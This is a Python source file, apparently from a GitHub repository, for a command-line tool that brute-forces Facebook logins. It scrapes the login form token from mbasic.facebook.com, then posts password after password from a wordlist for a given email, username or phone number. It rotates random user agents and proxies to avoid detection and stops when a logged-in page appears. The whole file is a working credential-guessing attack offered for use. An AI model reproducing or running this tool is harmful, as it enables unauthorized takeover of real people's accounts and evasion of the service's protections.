-
Notifications
You must be signed in to change notification settings - Fork 42
/
Copy pathapp.py
208 lines (190 loc) · 7.23 KB
/
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
# =============> Import <=============
import sys, os, requests, random, logging, time
from bs4 import BeautifulSoup
from termcolor import colored
# =============> Console Colors <=============
class CliColors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKCYAN = '\033[96m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
# =============> Config <=============
MIN_PASSWORD_LENGTH = 6 # minimum length of the facebook password
MAIN_FB_DOMAIN = 'https://mbasic.facebook.com'
LOGIN_URL = MAIN_FB_DOMAIN+'/login.php'
DEFAULT_TIMEOUT = 2 # request timeout in seconds
USER_AGENTS = []
with open('user-agents.txt', 'rt', newline='', encoding='utf-8') as file:
USER_AGENTS = file.read().splitlines()
PROXIES = []
with open('proxies.txt', 'rt', newline='', encoding='utf-8') as file:
PROXIES = file.read().splitlines()
PAYLOAD = {}
COOKIES = {}
HEADERS = {}
# =============> Log <=============
class Log(object):
def __init__(self, filename):
super(Log, self).__init__()
self.filename = filename
self.logging = logging
self.logging.basicConfig(format='%(asctime)s %(levelname)s: %(message)s', datefmt='%Y/%m/%d %I:%M:%S %p', filename=filename, level=self.logging.INFO)
def write(self, msg, color=''):
print(color+msg)
self.logging.info(msg)
def write_colored(self, msg, color=''):
# Text colors:
# grey
# red
# green
# yellow
# blue
# magenta
# cyan
# white
# Text highlights:
# on_grey
# on_red
# on_green
# on_yellow
# on_blue
# on_magenta
# on_cyan
# on_white
# Attributes:
# bold
# dark
# underline
# blink
# reverse
# concealed
if color: print(colored(msg, color))
else: print(msg)
self.logging.info(msg)
# =============> Functions <=============
def get_random_headers():
return {
'User-Agent': random.choice(USER_AGENTS),
'referer': LOGIN_URL,
'content-type': 'application/x-www-form-urlencoded',
'origin': MAIN_FB_DOMAIN
}
def form_data(use_proxy=False):
form = {}
cookies = {
'wd': '1366x663',
'm_pixel_ratio': '1',
'locale': 'en_US'
}
headers = get_random_headers()
if use_proxy:
random_proxy = random.choice(PROXIES)
proxy = {'http': random_proxy}
else:
proxy = None
data = requests.get(LOGIN_URL, headers=headers, proxies=proxy, timeout=DEFAULT_TIMEOUT)
for i in data.cookies:
cookies[i.name] = i.value
data = BeautifulSoup(data.text, 'html.parser').form
if data.input['name'] == 'lsd':
form['lsd'] = data.input['value']
return form, cookies
def Login(user, password, index=1, use_proxy=False):
global PAYLOAD, COOKIES, HEADERS
if len(PAYLOAD) < 1 or len(COOKIES) < 1:
PAYLOAD, COOKIES = form_data(use_proxy)
if len(HEADERS) < 1:
HEADERS = get_random_headers()
if index % 2 == 0:
PAYLOAD, COOKIES = form_data(use_proxy)
HEADERS = get_random_headers()
PAYLOAD['email'] = user
PAYLOAD['pass'] = password
random_proxy = random.choice(PROXIES)
if use_proxy:
PROXY = {'http': random_proxy}
else:
PROXY = None
r = requests.post(LOGIN_URL, data=PAYLOAD, cookies=COOKIES, headers=HEADERS, proxies=PROXY, timeout=DEFAULT_TIMEOUT)
rurl = r.url.lower()
rtext = r.text.lower()
if 'logout' in rtext or 'log out' in rtext:
return [True, password]
return [False, password]
# =============> Arguments <=============
def args():
import argparse
parser = argparse.ArgumentParser(description='Facebook Login Brute Force')
parser.add_argument('-u', '--user', help='Email/Username/ID/Phone')
parser.add_argument('-p', '--password-list', help='Password List Filename')
parser.add_argument('-sp', '--single-password', help='Password')
parser.add_argument('--use-proxy', action='store_true', help='Use Proxies')
parser.add_argument('-l', '--log', help='Log Filename')
parser.set_defaults(use_proxy=False)
return parser.parse_args()
# =============> Main <=============
def main(args=None):
print(CliColors.HEADER+"""
____ __ ___ ____ ____ __ __ __ _ ____ ____ _ _ ____ ____ ____ __ ____ ___ ____
( __)/ _\ / __)( __)( _ \ / \ / \( / )___( _ \( _ \/ )( \(_ _)( __)___( __)/ \( _ \ / __)( __)
) _)/ \( (__ ) _) ) _ (( O )( O )) ((___)) _ ( ) /) \/ ( )( ) _)(___)) _)( O )) /( (__ ) _)
(__) \_/\_/ \___)(____)(____/ \__/ \__/(__\_) (____/(__\_)\____/ (__) (____) (__) \__/(__\_) \___)(____)
""")
print("")
if args and args.single_password and args.password_list:
print(CliColors.FAIL+"[x] You can't use single password with password list.")
sys.exit(-2)
log_filename = 'logging.log'
if args and args.log:
log_filename = args.log
_log = Log(log_filename)
if args and args.single_password:
passwords = [args.single_password]
else:
if args and args.password_list:
password_file = args.password_list
else:
password_file = input(CliColors.OKBLUE+"[?] Password List Filename: \t")
if os.path.exists(password_file):
with open(password_file, 'rt', newline='', encoding='utf-8') as file:
passwords = file.read().replace("\r\n", "\n").replace("\r", "\n").split("\n")
else:
print(CliColors.FAIL+"[x] Passwords File does not exist.")
sys.exit(-1)
if args and args.user:
user = args.user
else:
user = input(CliColors.OKBLUE+"[?] Email/Username/ID/Phone: \t")
print("")
print(CliColors.OKCYAN+"[*] Processing...")
start_time = time.time()
flag = [False, None]
index = 1
for password in passwords:
try:
password = password.strip()
if len(password) < MIN_PASSWORD_LENGTH:
_log.write_colored("[!] Password '{}' is less than {} characters and has been ignored.".format(password, MIN_PASSWORD_LENGTH), 'grey')
continue
_log.write_colored("[*] Attempt #{} with user: '{}' and password: '{}'{}.".format(index, user, password, ' Using Proxy' if args.use_proxy is True else ''), 'yellow')
LoginOp = Login(user, password, index, args.use_proxy)
if LoginOp[0]:
flag = LoginOp
break
except Exception as ex:
_log.write_colored("[!] Caught an Exception: {}".format(str(ex)), 'yellow')
index += 1
end_time = time.time() - start_time
if flag[0]:
_log.write_colored("[+] Password Found: '{}'.".format(flag[1]), 'green')
else:
_log.write_colored("[-] No Password was Found.", 'red')
_log.write_colored("Took {} seconds to complete this operation.".format(str(round(end_time, 2))), 'magenta')
print("")
if __name__ == '__main__':
sys.exit(main(args()))